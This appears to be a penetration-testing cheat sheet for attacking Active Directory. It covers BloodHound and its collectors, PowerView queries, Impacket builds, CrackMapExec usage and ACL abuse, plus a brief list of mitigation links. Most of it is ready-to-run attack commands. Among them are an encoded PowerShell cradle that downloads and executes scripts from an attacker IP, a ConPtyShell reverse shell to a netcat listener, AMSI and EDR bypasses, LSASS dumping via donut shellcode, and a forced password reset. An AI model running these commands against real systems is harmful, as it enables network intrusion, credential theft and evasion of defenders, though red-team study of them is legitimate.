{% tab title="BloodHound" %}

* [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)

Quick start:

```bash
curl -sSL https://api.github.com/repos/ly4k/BloodHound/releases/latest | jq -r '.assets[].browser_download_url' | grep 'BloodHound-linux-x64.zip' | wget -O 'BloodHound.zip' -i -
unzip BloodHound.zip && rm BloodHound.zip
mv BloodHound-linux-x64 BloodHound && cd BloodHound
sudo chown root:root chrome-sandbox
sudo chmod 4755 chrome-sandbox
chmod +x BloodHound
sudo mkdir /usr/share/neo4j/logs/

mkdir -p ~/.config/bloodhound
curl -sSL https://github.com/ThePorgs/Exegol-images/raw/main/sources/assets/bloodhound/customqueries.json > /tmp/customqueries1.json
curl -sSL https://github.com/CompassSecurity/BloodHoundQueries/raw/master/BloodHound_Custom_Queries/customqueries.json > /tmp/customqueries2.json
curl -sSL https://github.com/ZephrFish/Bloodhound-CustomQueries/raw/main/customqueries.json > /tmp/customqueries3.json
curl -sSL https://github.com/ly4k/Certipy/raw/main/customqueries.json > /tmp/customqueries4.json
curl -sSL https://github.com/emiliensocchi/azurehound-queries/raw/main/customqueries.json > /tmp/customqueries5.json

python3 - << 'EOT'
import json
from pathlib import Path

merged, dups = {'queries': []}, set()
for jf in sorted((Path('/tmp')).glob('customqueries*.json')):
	with open(jf, 'r') as f:
		for query in json.load(f)['queries']:
			if 'queryList' in query.keys():
				qt = tuple(q['query'] for q in query['queryList'])
				if qt not in dups:
					merged['queries'].append(query)
					dups.add(qt)

with open(Path.home() / '.config' / 'bloodhound' / 'customqueries.json', 'w') as f:
	json.dump(merged, f, indent=4)

EOT

rm /tmp/customqueries*.json
curl -sSL "https://github.com/ThePorgs/Exegol-images/raw/main/sources/assets/bloodhound/config.json" > ~/.config/bloodhound/config.json
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/config.json
```

Boost neo4j performance via [memory configuration](https://neo4j.com/docs/operations-manual/current/performance/memory-configuration/) tweaks (recommended value is 1/4 of total RAM):

```conf
# /etc/neo4j/neo4j.conf
dbms.memory.heap.initial_size=4G
dbms.memory.heap.max_size=4G
```

{% endtab %}

{% tab title="BHCE" %}

* [SpecterOps/BloodHound](https://github.com/SpecterOps/BloodHound)
* <https://hacker4u.medium.com/bloodhound-community-edition-bhce-e35bf49fcfe6>
* <https://blog.spookysec.net/Deploying-BHCE/>

Quick start:

```bash
curl -sSL https://ghst.ly/getbhce -o docker-compose.yml
sed -i 's|is the variable available outside of Docker|is the variable available outside of Docker\n      - bhe_default_admin_principal_name=${bhe_default_admin_principal_name}\n      - bhe_default_admin_password=${bhe_default_admin_password}\n      - bhe_default_admin_email_address=${bhe_default_admin_email_address}|g' docker-compose.yml
curl -sSL https://github.com/SpecterOps/BloodHound/raw/refs/heads/main/examples/docker-compose/.env.example -o .env
sed -i 's|#NEO4J_DATA_MOUNT=./neo4j/data|NEO4J_DATA_MOUNT=./neo4j/data|g' .env
sed -i 's|#bhe_default_admin_principal_name=|bhe_default_admin_principal_name=admin|g' .env
sed -i 's|#bhe_default_admin_password=|bhe_default_admin_password=1|g' .env
sed -i 's|#bhe_default_admin_email_address=|bhe_default_admin_email_address=admin@bhce.local|g' .env
docker compose pull && docker compose up
```

Import custom queries from legacy BloodHound (can be also done [manually](https://medium.com/seercurity-spotlight/make-bloodhound-cool-again-migrating-custom-queries-from-legacy-bloodhound-to-bloodhound-ce-83cffcfe5b64)):

```bash
pipx install -f "git+https://github.com/exploide/bloodhound-cli.git"
bhcli auth 127.0.0.1:8080 -u admin -p 'Passw0rd!123'
bhcli queries ~/.config/bloodhound/customqueries.json
```

BloodHound.py BHCE branch:

```bash
pipx install -f "git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce"
```

Reset ALL:

```bash
docker compose down
docker volume rm `docker volume ls -q | grep -e neo4j-data -e postgres-data`
```

To convert legacy BloodHound dumps to BHCE one can use [bloodhound-convert](https://github.com/szymex73/bloodhound-convert).
{% endtab %}
{% endtabs %}

#### Collectors

**SharpHound.exe**

* [https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe](https://github.com/SpecterOps/BloodHound-Legacy/raw/master/Collectors/SharpHound.exe)
* <https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html>
* <https://ipurple.team/2024/07/15/sharphound-detection/>

![SharpHound cheatsheet (by @SadProcessor)](https://web.archive.org/web/20250702121547if_/https://bloodhound.readthedocs.io/en/latest/_images/SharpHoundCheatSheet.png)

```
Cmd > SharpHound.exe [-d megacorp.local] [--LdapUsername snovvcrash] [--LdapPassword 'Passw0rd!'] -c DCOnly/All,GPOLocalGroup [--CollectAllProperties] --OutputDirectory C:\Windows\Temp [--MemCache/--CacheName ccache.bin] --ZipFileName backup.zip [--ZipPassword Passw0rd] [--RandomFilenames] --LdapPort 636 --SecureLdap --DisableCertVerification --SkipPortCheck --SkipPasswordCheck --ExcludeDCs --SkipRegistryLoggedOn [--Throttle 100] [--Jitter 20]
Cmd > SharpHound.exe -c SessionLoop --Loop --LoopInterval 00:01:00 --Loopduration 03:09:41
```

**SharpHound.ps1**

* <https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1>

```
PS > Invoke-Bloodhound [-Domain megacorp.local] [-LdapUsername snovvcrash] [-LdapPassword 'Passw0rd!'] -CollectionMethod DCOnly/All,GPOLocalGrou [-CollectAllProperties] -OutputDirectory C:\Windows\Temp -NoSaveCache -RandomizeFilenames -ZipFileName backup.zip [-Throttle 100] [-Jitter 20]
PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Loop -LoopInterval 00:01:00 -Loopduration 03:09:41
```

**BloodHound.py**

* <https://github.com/fox-it/BloodHound.py>

```
$ cd ~/ws/enum/bloodhound/bloodhound.py/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns 192.168.1.11
$ proxychains4 -q bloodhound-python -c DCOnly --zip -d megacorp.local -k -u snovvcrash --auth-method kerberos -ns 192.168.1.11 -dc DC01.megacorp.local -gc DC01.megacorp.local --disable-autogc --dns-tcp --dns-timeout 10
```

Import with [bloodhound-import](https://github.com/fox-it/bloodhound-import):

```
$ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.json
```

**RustHound**

* <https://github.com/OPENCYBER-FR/RustHound>
* <https://github.com/g0h4n/RustHound-CE>

```
$ proxychains4 -q rusthound -d megacorp.local -k --dc-only --adcs [--fqdn-resolver] -z -f DC01.megacorp.local -i 192.168.1.11 -n 192.168.1.11 -P 636 --ldaps --dns-tcp -o bh/
```

**ADWS**

* <https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/>
* <https://github.com/FalconForceTeam/SOAPHound>
* <https://github.com/wh0amitz/SharpADWS>
* <https://blog.fndsec.net/2024/11/25/shadowhound/>
* <https://github.com/Friends-Security/ShadowHound>
* <https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/>
* <https://github.com/logangoins/SoaPy>

```
PS > IEX(New-Object Net.WebClient).DownloadString("https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/ShadowHound-ADM.ps1")
PS > ShadowHound-ADM -Server DC01.megacorp.local -SplitSearch -LetterSplitSearch -OutputFilePath "C:\ldap_output.txt"
PS > ShadowHound-ADM -Server DC01.megacorp.local -Certificates -OutputFilePath "C:\certs_output.txt"
# cd \ && lcd /tmp && get ldap_output.txt certs_output.txt ...
$ curl -sSL https://github.com/Friends-Security/ShadowHound/raw/refs/heads/main/split_output.py | sed 's/\.txt"/\.log"/g' > /tmp/split_output.py
$ mkdir /tmp/pyldapsearch_logs && cd /tmp/pyldapsearch_logs
$ python3 ../split_output.py -i ../ldap_output.txt -o pyldapsearch_logs -n 100
$ bofhound -i . -p All --parser ldapsearch && rm *.log
$ python3 ../split_output.py -i ../certs_output.txt -o pyldapsearch_logs -n 100
$ bofhound -i . -p All --parser ldapsearch && rm *.log
$ mv *.json ~/projects/megacorp/bh && cd ~/projects/megacorp/bh && rm -rf /tmp/pyldapsearch_logs
```

**BOFHound**

* <https://www.fortalicesolutions.com/posts/bofhound-granularize-your-active-directory-reconnaissance-game>
* <https://posts.specterops.io/bofhound-session-integration-7b88b6f18423>
* <https://posts.specterops.io/bofhound-ad-cs-integration-91b706bc7958>
* <https://github.com/coffeegist/bofhound>
* <https://github.com/coffeegist/pyldapsearch>

Install:

```
$ pipx install -f "git+https://github.com/Tw1sm/pyldapsearch.git" "git+https://github.com/coffeegist/bofhound.git"
```

An example of manual AD CS data collecting:

```
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "DC=megacorp,DC=local" '(objectclass=domain)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKIEnrollmentService)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=certificationAuthority)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=pKICertificateTemplate)' -attributes '*,ntsecuritydescriptor' -silent
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps -base-dn "CN=Configuration,DC=megacorp,DC=local" '(objectclass=msPKI-Enterprise-Oid)' -attributes '*,ntsecuritydescriptor' -silent
```

Resolve a SID:

```
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps '(objectSid=S-1-5-21-2513662962-556311701-4231341873-512)' -attributes '*,ntsecuritydescriptor'
```

Resolve group memebership:

```
$ pyldapsearch -k -no-pass megacorp.local/snovvcrash@DC01.megacorp.local -no-smb -dc-ip DC01.megacorp.local -ldaps '(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=megacorp,DC=local)' -attributes '*,ntsecuritydescriptor'
```

Parse:

```
$ bofhound -i ~/.pyldapsearch/logs --parser ldapsearch --zip
```

**ADExplorerSnapshot.py**

* <https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer>
* <https://github.com/c3c/ADExplorerSnapshot.py>

You may also want to [patch](https://x.com/saerxcit/status/1918245612245455133) the `(objectGUID=*)` IoC in **ADExplorer64.exe** with a HEX editor ;)

#### Cypher (Neo4j)

* <https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/>
* <https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md>
* <https://github.com/ShutdownRepo/Exegol/blob/master/sources/bloodhound/customqueries.json>
* <https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json>
* <https://github.com/ZephrFish/Bloodhound-CustomQueries/blob/main/customqueries.json>
* <https://github.com/ly4k/Certipy/blob/main/customqueries.json>

{% embed url="<https://queries.specterops.io/>" %}

Show percentage of collected user sessions:

{% embed url="<https://youtu.be/q86VgM2Tafc?t=353>" %}

```
# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
```

Show path to any computer from kerberoastable users:

```
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
```

#### Manual JSON Parsing

* <https://blog.bitsadmin.com/blog/dealing-with-large-bloodhound-datasets>
* <https://github.com/bitsadmin/chophound>
* <https://github.com/knavesec/Max>

{% embed url="<https://youtu.be/o3W4H0UfDmQ>" %}

There're 2 global dicts in JSON files: `data` and `meta`. We care about `data`:

```json
$ cat 19700101000000_users.json | jq '. | keys'
[
  "data",
  "meta"
]
```

List all active user accounts:

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true) | .samaccountname' -r
```

List non-empty user accounts' descriptions:

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .description != null) | .name + " :: " + .description' -r
```

List user accounts whose passwords were set after their last logon (an effective list for password spraying assuming that the passwords were set by IT Desk and may be guessable):

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset > .lastlogontimestamp) | .name + " :: " + (.lastlogontimestamp | tostring)' -r
```

List user accounts with `DoesNotRequirePreAuth` set (aka [asreproastable](/pentest/infrastructure/ad/kerberos/roasting#asreproasting)):

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqpreauth == true) | .name' -r
```

List user accounts with SPN(s) set (aka [kerberoastable](/pentest/infrastructure/ad/kerberos/roasting#kerberoasting))

```
$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .name + " :: " + (.serviceprincipalnames | join(","))' -r
```

List computer accounts' operating system names:

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem' -r
```

Make a list of all SQL servers (can be extrapolated to any SPN-based service):

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .serviceprincipalnames' | grep MSSQL | awk -F/ '{print $2}' | awk -F\" '{print $1}' | grep -v :1433 | sort -u > mssql.txt
```

Recursively list all members of a group (mimics RSAT `Get-ADGroupMember`, [script](https://github.com/snovvcrash/WeaponizeKali.sh/blob/main/py/bh_get_ad_group_member.py)):

```
$ ls
20220604043009_computers.json  20220604043009_groups.json  20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN ADMINS@MEGACORP.LOCAL'
```

Recursively list all groups which the user is a member of (mimics RSAT `Get-ADUser | select memberof`, [script](https://github.com/snovvcrash/WeaponizeKali.sh/blob/main/py/bh_get_ad_user_memberof.py)):

```
$ ls
20220604043009_groups.json  20220604043009_users.json
$ python3 get_ad_user_memberof.py 'SNOVVCRASH@MEGACORP.LOCAL'
```

Generate a `.csv` file containing AD trusts mapping to be used in [TrustVisualizer](https://github.com/snovvcrash/TrustVisualizer) (mimics PowerView `Get-DomainTrustMapping`, [script](https://github.com/snovvcrash/WeaponizeKali.sh/blob/main/py/bh_get_domain_trust_mapping.py)):

```
$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.py
```

### PowerView / SharpView / powerview\.py

* <https://www.harmj0y.net/blog/powershell/make-powerview-great-again/>
* <https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf>
* <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>
* [PowerView2.ps1](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1)
* [PowerView3.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
* [ZeroDayLab](https://exploit.ph/powerview.html) / [PowerView4.ps1](https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1)
* [0xe7 / PowerView4.ps1](https://github.com/0xe7/PowerSploit/blob/master/Recon/PowerView.ps1)
* [SharpView.exe](https://github.com/tevora-threat/SharpView/blob/master/Compiled/SharpView.exe)

```
$ pipx install -f "git+https://github.com/aniqfakhrul/powerview.py.git"
$ pipx inject powerview "git+https://github.com/ThePirateWhoSmellsOfSunflowers/ldap3.git@tls_cb_and_seal_for_ntlm"
```

#### Example Queries

**Users**

Convert SID to name and vice versa:

```
PV3 > ConvertTo-SID <NAME>
PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>
```

Extract all domain user accounts into a `.csv` file:

```
PV3 > Get-DomainUser -Domain megacorp.local | select name,samAccountName,description,memberOf,whenCreated,pwdLastSet,lastLogonTimestamp,accountExpires,adminCount,userPrincipalName,servicePrincipalName,mail,userAccountControl | Export-Csv .\all-users.csv -NoTypeInformation
```

List domain user accounts that do not require Kerberos **pre-authentication** (see [ASREPRoasting](/pentest/infrastructure/ad/kerberos/roasting#asreproasting)):

```
PS > .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,userAccountControl,memberOf
```

List domain user accounts with **Service Principal Names** (SPNs) set (see [Kerberoasting](/pentest/infrastructure/ad/kerberos/roasting#kerberoasting)):

```
PS > .\SharpView.exe Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalName
```

List domain user accounts with Kerberos **unconstrained delegation** enabled:

```
PS > .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

List domain user accounts with Kerberos **constrained delegation** enabled:

```
PS > .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountControl,memberOf
```

Search for domain user accounts which may have sensitive stored in the `description` field:

```
PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}
```

Search for domain user by email:

```
PV3 > Get-DomainUser -LDAPFilter '(mail=snovvcrash@megacorp.com)' -Properties samaccountname
```

Find users with DCSync right:

```
PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll" -or $_.ObjectAceType -match "Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync
```

**Groups**

Enumerate domain computers where specific users (Identity) are members of a specific local group (LocalGroup):

```
PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup Administrators
```

**Computers**

Extract all domain computer accounts into a `.csv` file:

```
PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccountControl | Export-Csv .\all-computers.csv -NoTypeInformation
```

List domain computer accounts that allow Kerberos **unconstrained delegation**:

```
PS > .\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountControl
```

Resolve all domain computer IPs by their names:

```
PV3 > Get-DomainComputer -Properties name | Resolve-IPAddress
```

List domain computers that are part of a OU:

```
PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostName
```

**Shares**

List shares for `WS01` computer:

```
PS > .\SharpView.exe Get-NetShare -ComputerName WS01
```

**GPOs**

List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:

```
PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}" } | select objectDN, activeDirectoryRights, securityIdentifier | fl
```

Resolve GPO ObjectDN:

```
PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayName
```

### Impacket

* <https://github.com/fortra/impacket>
* <https://github.com/ThePorgs/impacket>
* <https://github.com/icyguider/MoreImpacketExamples>
* <https://tools.thehacker.recipes/impacket>
* <https://www.synacktiv.com/en/publications/traces-of-windows-remote-command-execution.html>
* <https://habr.com/ru/post/703332/>
* <https://habr.com/ru/companies/pt/articles/745550/>
* <https://github.com/mandiant/red_team_tool_countermeasures/tree/master/rules/IMPACKETOBF/production>
* <https://n7wera.notion.site/Modifing-Impacket-to-avoid-detection-4df93e4bdbdc439988d79864774af569>

{% file src="/files/OwWhtHSuGGiRwvbInVtE" %}

Install:

```
$ pipx install -f "git+https://github.com/fortra/impacket.git"
$ pipx install -f "git+https://github.com/ThePorgs/impacket.git"
$ pipx install -f "git+https://github.com/p0dalirius/smbclient-ng"
```

#### Static Binaries

* <https://github.com/ropnop/impacket_static_binaries>
* <https://github.com/maaaaz/impacket-examples-windows>
* <https://github.com/Qazeer/OffensivePythonPipeline/tree/main/binaries/impacket>
* <https://github.com/LuemmelSec/ntlmrelayx.py_to_exe>

#### Build Examples

* <https://github.com/indygreg/PyOxidizer>
* <https://github.com/RustPython/RustPython>

{% tabs %}
{% tab title="Nuitka (Windows)" %}

* <https://github.com/Nuitka/Nuitka>
* <https://habr.com/ru/companies/sberbank/articles/710690/>

```
Cmd > py -3.12 -m pip install impacket nuitka
Cmd > py -3.12 -m nuitka .\impacket\examples\smbclient.py --onefile --onefile-tempdir-spec={TEMP}\smbclient --output-filename=smbclient --follow-imports --jobs=16 [--windows-console-mode=disable] [--mingw64]
Cmd > smbclient.exe --help
```

{% endtab %}

{% tab title="staticx (Linux)" %}

* <https://github.com/JonathonReinhart/staticx>

```
$ git clone https://github.com/fortra/impacket /tmp/impacket && cd /tmp/impacket
$ docker run -it -v `pwd`:/app -w /app ubuntu:22.04
# apt update && apt install python3-dev python3-pip patchelf file -y
# pip install . pyinstaller staticx
# pyinstaller --specpath /tmp/spec --workpath /tmp/build --distpath /tmp/out --clean -F examples/smbclient.py [--collect-submodules gssapi.raw]
# staticx /tmp/out/smbclient examples/smbclient.py.elf
# file examples/smbclient.py.elf
examples/smbclient.py.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, with debug_info, not stripped
```

{% endtab %}
{% endtabs %}

#### Programming Manuals

* [https://github.com/xzxxzzzz000/impacket-programming-manual](https://github.com/xzxxzzzz000/impacket-programming-manual/blob/main/impacket%E7%BC%96%E7%A8%8B%E6%89%8B%E5%86%8C.md)
* <https://cicada-8.medium.com/impacket-developer-guide-part-1-rpc-4df4fe6d79d7>
* <https://cicada-8.medium.com/impacket-developer-guide-part-2-finding-rpc-on-the-system-and-some-words-about-in-security-7df65acbd621>
* <https://cicada-8.medium.com/impacket-developer-guide-part-3-make-your-own-lateral-movement-a2f8181f657b>

### {Crack,Sharp,Ps}MapExec / NetExec

* <https://github.com/byt3bl33d3r/CrackMapExec>
* <https://github.com/Pennyw0rth/NetExec>
* <https://github.com/Pennyw0rth/NetExec>
* <https://github.com/cube0x0/SharpMapExec>
* <https://github.com/The-Viper-One/PsMapExec>
* <https://github.com/seriotonctf/cme-nxc-cheat-sheet>
* <https://github.com/Pennyw0rth/NetExec-Lab>

![CrackMapExec Mindmap](https://raw.githubusercontent.com/Ignitetechnologies/Mindmap/main/Crackmapexec/Crackmapexec%20UHD.png)

Install bleeding-edge:

```
$ sudo apt install python3-venv && pip3 install pipx
$ pipx install -f "git+https://github.com/Porchetta-Industries/CrackMapExec.git"
$ cme
```

[aardwolf](https://github.com/skelsec/aardwolf) requires Rust compiler to be also installed:

```
$ sudo snap install rustup --classic
$ rustup toolchain install stable
```

Install for debugging and development:

```
$ git clone --recursive https://github.com/Porchetta-Industries/CrackMapExec ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ poetry install
$ poetry run crackmapexec
```

Execute a PowerShell command using base64 encoding on-the-fly:

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-object net.webclient).downloadstring("http://10.10.13.37/amsi.ps1");iex(new-object net.webclient).downloadstring("http://10.10.13.37/cradle.ps1")' | iconv -t UTF-16LE | base64 -w0`"
```

Bypass network IPS restrictions:

```
$ sudo nmap -n -sn 192.168.1.0/24 | grep for | awk '{print $5}' > 192.168.1
$ for ip in `cat 192.168.1`; do cme smb $ip; sleep 1; done
Or
$ cme -t 1 --jitter 1 smb 192.168.1.0/24
```

#### Custom Switches

Bypass execution restrictions of EDRs monitoring for `WmiPrvSE.exe` misbehavior with custom switches (see [dotnetassembly](https://github.com/snovvcrash/CrackMapExec/tree/dotnetassembly) branch).

Get the dependencies and stuff:

```
$ sudo apt install mono-devel
$ git clone --single-branch -b syscalls https://github.com/S4ntiagoP/donut ~/tools/donut && cd ~/tools/donut && make && sudo ln -sv `realpath donut` /usr/local/bin/donut && cd -
$ wget https://github.com/snovvcrash/CrackMapExec/raw/dotnetassembly/cme/data/donut_template.cs -O ~/.cme/donut_template.cs
$ wget https://github.com/snovvcrash/CrackMapExec/raw/dotnetassembly/cme/protocols/smb.py -O ~/.local/pipx/venvs/crackmapexec/lib/python3.10/site-packages/cme/protocols/smb.py
```

Example of invoking a PowerShell module ([ConPtyShell](https://github.com/antonioCoco/ConPtyShell)):

```
$ stty raw -echo; (stty size; cat) | nc -lvnp 1337
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'Invoke-ConPtyShell.ps1 Invoke-ConPtyShell 10.10.13.37 1337' --amsi-bypass amsi.ps1 --no-output
```

Example of executing a .NET assembly ([Rubeus](https://github.com/GhostPack/Rubeus)):

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'Seatbelt.exe -group=user' --dotnetassembly --dotnetassembly-entrypoint 'Rubeus,Program,MainString' --dotnetassembly-entrypoint-argtype string --amsi-bypass amsi.ps1 --codec cp866
```

Example of converting an unmanaged binary ([NanoDump](https://github.com/helpsystems/nanodump)) to a shellcode with [donut](https://github.com/S4ntiagoP/donut/tree/syscalls), then compiling a .NET self-injector from a template with the shellcode inside and executing it (see [SharpBin2SelfInject](https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37)):

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'nanodump.exe -w C:\Windows\Temp\lsass.bin' --dotnetassembly --donut
```

## aiosmb

* <https://github.com/skelsec/aiosmb>

Install:

```
$ git clone https://github.com/skelsec/aiosmb ~/tools/aiosmb && cd ~/tools/aiosmb
$ sed -i 's/ = RPC_C_AUTHN_LEVEL_CONNECT/ = RPC_C_AUTHN_LEVEL_PKT_PRIVACY/g' aiosmb/dcerpc/v5/interfaces/tschmgr.py
$ pip3 install . --break-system-packages
$ sed -i '1i #!/usr/bin/env python3\n' aiosmb/examples/smbclient.py
$ chmod +x aiosmb/aiosmb/examples/smbclient.py
$ sudo ln -sv `realpath aiosmb/examples/smbclient.py` "/usr/local/bin/aiosmbclient.py"
```

Usage:

```
$ aiosmbclient.py -s "smb3+kerberos-ccachehex://megacorp.local\snovvcrash:$CCACHEHEX@PC01.megacorp.local/?dc=192.168.1.11" 'login' 'use C$' 'ls'
```

## Slinky Cat & OffensiveSysAdmin

* <https://labs.lares.com/introducing-slinkycat/>
* <https://github.com/LaresLLC/SlinkyCat>
* <https://github.com/LaresLLC/OffensiveSysAdmin>

## Mitigations

Common vulnerabilities & misconfigurations and recommendations:

* <https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/#2-admincount-attribute-set-on-common-users>
* <https://threadreaderapp.com/thread/1369309701050142720.html>
* <https://s3cur3th1ssh1t.github.io/The-most-common-on-premise-vulnerabilities-and-misconfigurations/>
* <https://github.com/evilmog/ntlmv1-multi/blob/master/resources/checklist.txt>

SMB lateral-movement hardening:

* <https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f>
* <https://medium.com/palantir/restricting-smb-based-lateral-movement-in-a-windows-environment-ed033b888721>

{% file src="/files/8sndTrzOyKkS7IU9p0p3" %}

Antispam protection for Exchange:

{% file src="/files/joyedH082nmAC2ErLmDr" %}

Detect stale, unused or fake computer accounts based on password age (replace `-90` with your domain's maximum computer account password age):

```
$date = [DateTime]::Today.AddDays(-90); Get-ADComputer -Filter '(Enabled -eq $true) -and (PasswordLastSet -le $date)' | select Name
```

Administrative Tier Model & Microsoft RaMP (Zero Trust **Ra**pid **M**odernization **P**lan):

* <https://security-tzu.com/2020/03/23/mitigate-credential-theft-with-administrative-tier-model/>
* <https://www.secframe.com/ramp/>
* <https://posts.specterops.io/establish-security-boundaries-in-your-on-prem-ad-and-azure-environment-dcb44498cfc2>

Post compromise AD actions (checklist):

* <https://www.hub.trimarcsecurity.com/post/securing-active-directory-performing-an-active-directory-security-review>
* <https://www.pwndefend.com/2021/09/15/post-compromise-active-directory-checklist/>

Hardening automatization tool:

* <https://github.com/0x6d69636b/windows_hardening>
* <https://github.com/LuemmelSec/Client-Checker>


# ACL Abuse

Access Control Lists

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces>
* <https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>
* <https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-entries#exploitation-paths>
* <https://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-attacks/>
* <https://habr.com/ru/articles/809485/>

![Abusing ACEs Mindmap](https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/ACEs_xmind.png)

## BloodHound

* <https://habr.com/ru/company/solarsecurity/blog/681108/>

![ACL BloodHound abuse hierarchy (by @HackAndDo)](/files/-MasFHmB93xr3ii03_0s)

Some AD object security permissions abusable with PowerView / SharpView:

* **ForceChangePassword** abused with `Set-DomainUserPassword`
* **AddMembers** abused with `Add-DomainGroupMember`
* **GenericAll** abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`
* **GenericWrite** abused with `Set-DomainObject`
* **WriteOwner** abused with `Set-DomainObjectOwner`
* **WriteDACL** abused with `Add-DomainObjectACL`
* **AllExtendedRights** abused with `Set-DomainUserPassword` or `Add-DomainGroupMember`

### ForceChangePassword

* <https://www.thehacker.recipes/a-d/movement/dacl/forcechangepassword>
* <https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/>

From Linux with further recovery:

```
$ net rpc password j.doe 'NewPassw0rd!' -U megacorp.local/snovvcrash%'Passw0rd!' -S 192.168.1.11
